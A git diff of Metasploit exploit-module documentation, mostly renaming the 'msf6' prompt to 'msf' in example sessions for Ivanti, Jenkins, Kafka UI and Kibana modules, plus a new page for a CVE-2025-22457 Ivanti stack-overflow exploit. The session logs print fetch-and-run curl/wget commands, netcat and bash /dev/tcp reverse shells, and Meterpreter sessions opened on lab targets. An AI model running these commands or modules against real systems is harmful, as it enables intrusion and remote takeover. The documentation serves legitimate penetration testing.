ID=language_ed..., KEY=86845285663... +[*] Sending stage (40004 bytes) to 192.168.168.186 +[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.186:58822) at 2025-07-07 11:51:12 +0200 + + +meterpreter > +meterpreter > sysinfo +Computer : server1 +OS : Linux server1 6.8.0-60-generic #63~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 22 19:00:15 UTC 2 x86_64 +Meterpreter : php/linux +``` + +## Notes +- The module requires valid ISPConfig admin credentials and the `admin_allow_langedit` option enabled. +- The shell is removed after exploitation if `DELETE_SHELL` is true. +- The exploit drops a PHP webshell and triggers the payload for Meterpreter or command shell access. diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md index 67e4f27989da6..f823827317c3e 100644 --- a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md @@ -32,13 +32,13 @@ Linux payloads to be used, but also payloads like Python meterpreter or a Bash s ### Linux Target ``` -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111 +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111 RHOST => 192.168.86.111 -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0 +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0 target => 0 -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805): @@ -76,9 +76,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check [+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647) -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -109,11 +109,11 @@ meterpreter > ### Unix Target ``` -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1 +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1 target => 1 -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805): @@ -144,9 +144,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check [+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647) -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -170,5 +170,5 @@ export DSREL_BUILDNUM=1647 export DSREL_COMMENT="R1" exit [*] 192.168.86.111 - Command shell session 2 closed. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > ``` diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893.md index 6eee777eb2049..b58029b6649e3 100644 --- a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893.md +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893.md @@ -31,11 +31,11 @@ Linux payloads to be used, but also payloads like Python meterpreter or a Bash s ### Automatic (Linux Payload) ``` -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111 +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111 RHOST => 192.168.86.111 -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893): @@ -88,9 +88,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check [*] 192.168.86.111:443 - The service is running, but could not be validated. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -119,15 +119,15 @@ meterpreter > exit [*] Shutting down session: 3 [*] 192.168.86.111 - Meterpreter session 3 closed. Reason: Died -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > ``` ### Automatic (Unix Payload) ``` -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893): @@ -163,9 +163,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check [*] 192.168.86.111:443 - The service is running, but could not be validated. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -185,5 +185,5 @@ export DSREL_BUILDNUM=1647 export DSREL_COMMENT="R1" exit [*] 192.168.86.111 - Command shell session 4 closed. -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > ``` diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md index 3bbb09c6732c5..0e925d1d41383 100644 --- a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md @@ -81,7 +81,7 @@ Normal user password to authenticate with. ### Ivanti Connect Secure version 22.3R1 (build 1647) ``` -msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890 +msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890 [*] Started reverse TCP handler on 192.168.211.69:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.md new file mode 100644 index 0000000000000..78c642d24943c --- /dev/null +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.md @@ -0,0 +1,108 @@ +## Vulnerable Application + +This module exploits a Stack-based Buffer Overflow vulnerability in Ivanti +Connect Secure to achieve remote code execution (CVE-2025-22457). Versions +22.7R2.5 and earlier are vulnerable. Note that Ivanti Pulse Connect Secure, +Ivanti Policy Secure and ZTA gateways are also vulnerable but this module +doesn't support this software. Heap spray is used to place our payload in +memory at a predetermined location. Due to ASLR, the base address of +`libdsplibs` is unknown. This library is used by the exploit to build a ROP +chain and get command execution. As a result, the module will brute force this +address starting from the address set by the `LIBDSPLIBS_ADDRESS` option. + +Since this module needs to fill the processes memory with a large structure +using the heap spray technique, it might take a very long time to succeed. The +execution can be tweeked with the options described below. + +Also, since this will create many sockets on your system, you might need to +increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`). + +### Installation Steps +Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series) +with a vulnerable Ivanti Connect Secure installed. + +Note that it is not possible to download a trial version of a Virtual Appliance +unless you contact sales and request a demo. + +## Verification Steps +1. Start msfconsole +1. Do: `use linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457` +1. Do: `exploit verbose=true lhost= rhosts=` +1. You should get a Meterpreter session + + +## Options + +### MAX_THREADS +The maximum number of threads to use when spraying (default: 32) + +### WEB_CHILDREN +The number of `/home/bin/web` child processes the server uses. It's been +observed that the number of children the main process forks is directly related +to the number of vCPUs used by the system. Ivanti recommends having 4 vCPUs, so +the default number of children is set to 4. +Note that this option should be set properly, since the exploit needs to send enough +spray patterns to fill the memory of each child process. This is mandatory, +since we don’t control which child process will be used to trigger the +vulnerability. If we send too much data, the process memory will overflow and +the process will crash. A `Broken pipe` socket error will happen in this case. +So, if the number of `WEB_CHILDREN` is too low (< vCPUs), we might not send +enough data to fill the memory of every child process and the exploit would +likely fail. This scenario cannot be detected since the child processes should +not crash. The module will simply continue to brute force with a different base +address of `libdsplibs`, without detecting the real issue. On the other hand, +if we send too much data, the child processes will crash and we will need to +start everything again with a lower `WEB_CHILDREN` value. + +### LIBDSPLIBS_ADDRESS +The base address of libdsplibs that the module will start with when brute +forcing. It has been observed that this address is always in the range of +`0xf6525000`-`0xf6426000`, giving 256 possible options, since the alignment is +4KB (0x1000 bytes) bytes. As a result, the default value has been set to +`0xf6426000`. + +### BRUTEFORCE_ATTEMPTS +The number of attempts to brute force the base address of libdsplibs (default: 255). + + +## Scenarios + +### Ivanti Connect Secure version 22.7r2.4 b3597 + +In this example, the address of libdsplibs is known to speed up the process (0xf64c1000). Also, we know the target system runs with 2 vCPUs. + +``` +msf exploit(linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457) > exploit verbose=true lhost=192.168.222.97 rhosts=192.168.222.222 libdsplibs_address=0xf64c1000 web_children=2 +[*] Command to run on remote host: curl -so ./pbPNUixqDiK http://192.168.222.97:8080/QAeBnT-6WHJiW5MJjwMrfA;chmod +x ./pbPNUixqDiK;./pbPNUixqDiK& +[*] Fetch handler listening on 192.168.222.97:8080 +[*] HTTP server started +[*] Adding resource /QAeBnT-6WHJiW5MJjwMrfA +[*] Started reverse TCP handler on 192.168.222.97:4444 +[*] 192.168.222.222:443 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.222.222:443 - Checking the product version for https://192.168.222.222:443 +[+] 192.168.222.222:443 - The target appears to be vulnerable. Detected version: 22.7.2.3597 +[*] 192.168.222.222:443 - shell_cmd: a;export LD_LIBRARY_PATH=/home/lib;curl -so ./pbPNUixqDiK http://192.168.222.97:8080/QAeBnT-6WHJiW5MJjwMrfA;chmod +x ./pbPNUixqDiK;./pbPNUixqDiK& #BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB +[*] 192.168.222.222:443 - Targeting https://192.168.222.222:443 +[*] 192.168.222.222:443 - Starting... +[*] 192.168.222.222:443 - Trying libdsplibs.so @ 0xf64c1000 +[*] 192.168.222.222:443 - Making connections... +[*] 192.168.222.222:443 - Spraying... +[*] 192.168.222.222:443 - Triggering... +[*] 192.168.222.222:443 - Attempt #1 +[*] 192.168.222.222:443 - Attempt #2 +[*] Client 192.168.222.222 requested /QAeBnT-6WHJiW5MJjwMrfA +[*] Sending payload to 192.168.222.222 (curl/7.80.0-DEV) +[*] Meterpreter session 1 opened (192.168.222.97:4444 -> 192.168.222.222:16758) at 2025-04-30 21:36:49 +0200 +[!] 192.168.222.222:443 - Exception: The connection with (192.168.222.222:443) timed out. +[*] 192.168.222.222:443 - Attempt elapsed time: 222.46986142301466 seconds +[*] 192.168.222.222:443 - Total elapsed time: 227.48146175200236 seconds + +meterpreter > sysinfo +Computer : 192.168.222.222 +OS : CentOS 7.9.2009 (Linux 4.17.00.35-selinux-jailing-production) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: nr +``` diff --git a/documentation/modules/exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529.md b/documentation/modules/exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529.md index d7597ccee7830..1b19c0e21b458 100644 --- a/documentation/modules/exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529.md +++ b/documentation/modules/exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529.md @@ -81,19 +81,19 @@ No additional options. ### Ivanti Cloud Services Appliance RCE using payload cmd/unix/python/meterpreter/reverse_tcp ``` -msf6 > use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529 +msf > use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529 [*] Using configured payload cmd/unix/python/meterpreter/reverse_http -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 0 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 0 target => 0 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload cmd/unix/python/meterpreter/reverse_tcp payload => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41 rhosts => 192.168.100.41 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -116,17 +116,17 @@ meterpreter > ### Ivanti Cloud Services Appliance RCE using payload php/meterpreter/reverse_tcp ``` -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 1 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 1 target => 1 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload php/meterpreter/reverse_tcp +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41 rhosts => 192.168.100.41 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -148,19 +148,19 @@ meterpreter > ### Ivanti Cloud Services Appliance RCE using payload linux/x64/meterpreter/reverse_tcp ``` -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 2 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 2 target => 2 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41 rhosts => 192.168.100.41 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set srvport 1080 +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set srvport 1080 srvport => 1080 -msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit +msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/ivanti_sentry_misc_log_service.md b/documentation/modules/exploit/linux/http/ivanti_sentry_misc_log_service.md index dcce8e4aa4dc2..ae52d7a76b0d4 100644 --- a/documentation/modules/exploit/linux/http/ivanti_sentry_misc_log_service.md +++ b/documentation/modules/exploit/linux/http/ivanti_sentry_misc_log_service.md @@ -51,17 +51,17 @@ has a configurable option in case it needs to be disabled. ### MobileIron Sentry 9.12.0-16 (Unix In Memory) ``` -msf6 > use linux/http/ivanti_sentry_misc_log_service +msf > use linux/http/ivanti_sentry_misc_log_service [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.87 +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.87 rhosts => 192.168.1.87 -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 lhost => 192.168.1.72 -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 fetch_srvhost => 192.168.1.72 -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true verbose => true -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > run +msf exploit(linux/http/ivanti_sentry_misc_log_service) > run [*] Command to run on remote host: curl -so /tmp/VuQctuYoROm http://192.168.1.72:8080/_acSmp3HzcREnJ2MMRBPoQ; chmod +x /tmp/VuQctuYoROm; /tmp/VuQctuYoROm & [*] Fetch Handler listening on 192.168.1.72:8080 @@ -90,15 +90,15 @@ meterpreter > exit ### MobileIron Sentry 9.12.0-19 (Linux Dropper) ``` -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.87 +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.87 rhosts => 192.168.1.87 -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 lhost => 192.168.1.72 -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 fetch_srvhost => 192.168.1.72 -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true +msf exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true verbose => true -msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > run +msf exploit(linux/http/ivanti_sentry_misc_log_service) > run [*] Started reverse TCP handler on 192.168.1.72:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/jenkins_cli_deserialization.md b/documentation/modules/exploit/linux/http/jenkins_cli_deserialization.md index c74342ff2d9d6..9c5c932018e3c 100644 --- a/documentation/modules/exploit/linux/http/jenkins_cli_deserialization.md +++ b/documentation/modules/exploit/linux/http/jenkins_cli_deserialization.md @@ -55,13 +55,13 @@ ### Jenkins `v2.32.1` on Ubuntu Linux 18.04.1` ``` -msf6 > use exploit/linux/http/jenkins_cli_deserialization +msf > use exploit/linux/http/jenkins_cli_deserialization [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/jenkins_cli_deserialization) > set rhost 192.168.37.149 +msf exploit(linux/http/jenkins_cli_deserialization) > set rhost 192.168.37.149 rhost => 192.168.37.149 -msf6 exploit(linux/http/jenkins_cli_deserialization) > set lhost 192.168.37.1 +msf exploit(linux/http/jenkins_cli_deserialization) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(linux/http/jenkins_cli_deserialization) > run +msf exploit(linux/http/jenkins_cli_deserialization) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md index ad06ebbd52bd3..7df12230ce178 100644 --- a/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md +++ b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md @@ -55,9 +55,9 @@ This module was successfully tested on: ## Scenarios ``` -msf6 > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189 +msf > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189 [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options +msf exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options Module options (exploit/linux/http/judge0_sandbox_escape_cve_2024_28189): @@ -95,7 +95,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15 +msf exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251.md b/documentation/modules/exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251.md index 29fe9fa001327..8b599c78bc1d3 100644 --- a/documentation/modules/exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251.md +++ b/documentation/modules/exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251.md @@ -86,7 +86,7 @@ You are now ready to test the module. you should get a `shell` or `Meterpreter`. ```shell -msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > info +msf exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > info Name: Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option. Module: exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251 @@ -161,9 +161,9 @@ No specific options for this module. ## Scenarios ### Kafka-ui v0.7.0 Unix/Linux Command - cmd/unix/reverse_netcat ```shell -msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > set verbose true +msf exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > set verbose true verbose => true -msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit +msf exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit [+] mkfifo /tmp/cpzbj; nc 192.168.201.8 4444 0/tmp/cpzbj 2>&1; rm /tmp/cpzbj [*] Started reverse TCP handler on 192.168.201.8:4444 @@ -187,7 +187,7 @@ uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui) ``` ### Kafka-ui v0.7.0 Unix/Linux Command - cmd/linux/http/x64/meterpreter_reverse_tcp ```shell -msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit +msf exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit [*] Command to run on remote host: wget -qO /tmp/LfMsMsUxX http://192.168.201.8:1981/Qw3rZo-yo18aYrvy_AQU-w; chmod +x /tmp/LfMsMsUxX; /tmp/LfMsMsUxX & [*] Fetch Handler listening on 192.168.201.8:1981 diff --git a/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md b/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md index c3c4459622b0f..7fa6ce119cd25 100644 --- a/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md +++ b/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md @@ -29,15 +29,15 @@ about needing `6.5.4`. ### Kibana 6.5.4 on Docker ``` -msf6 > use exploit/linux/http/kibana_timelion_prototype_pollution_rce +msf > use exploit/linux/http/kibana_timelion_prototype_pollution_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true +msf exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true verbose => true -msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111 +msf exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111 lhost => 111.111.1.111 -msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1 +msf exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit +msf exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit [+] bash -c '0<&78-;exec 78<>/dev/tcp/111.111.1.111/4444;sh <&78 >&78 2>&78' [*] Started reverse TCP handler on 111.111.1.111:4444 diff --git a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md index 21de5e96220af..00f0c5f19a3e0 100644 --- a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md +++ b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md @@ -77,8 +77,8 @@ resource (kibana_telem.rb)> set verbose true verbose => true resource (kibana_telem.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > -msf6 exploit(linux/http/kibana_upgrade_assi +msf exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > +msf exploit(linux/http/kibana_upgrade_assi stant_telemetry_rce) > rexploit [*] Reloading module... @@ -123,11 +123,11 @@ resource (kibana_telem.rb)> set verbose true verbose => true resource (kibana_telem.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1 +msf exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1 target => 1 -msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601 +msf 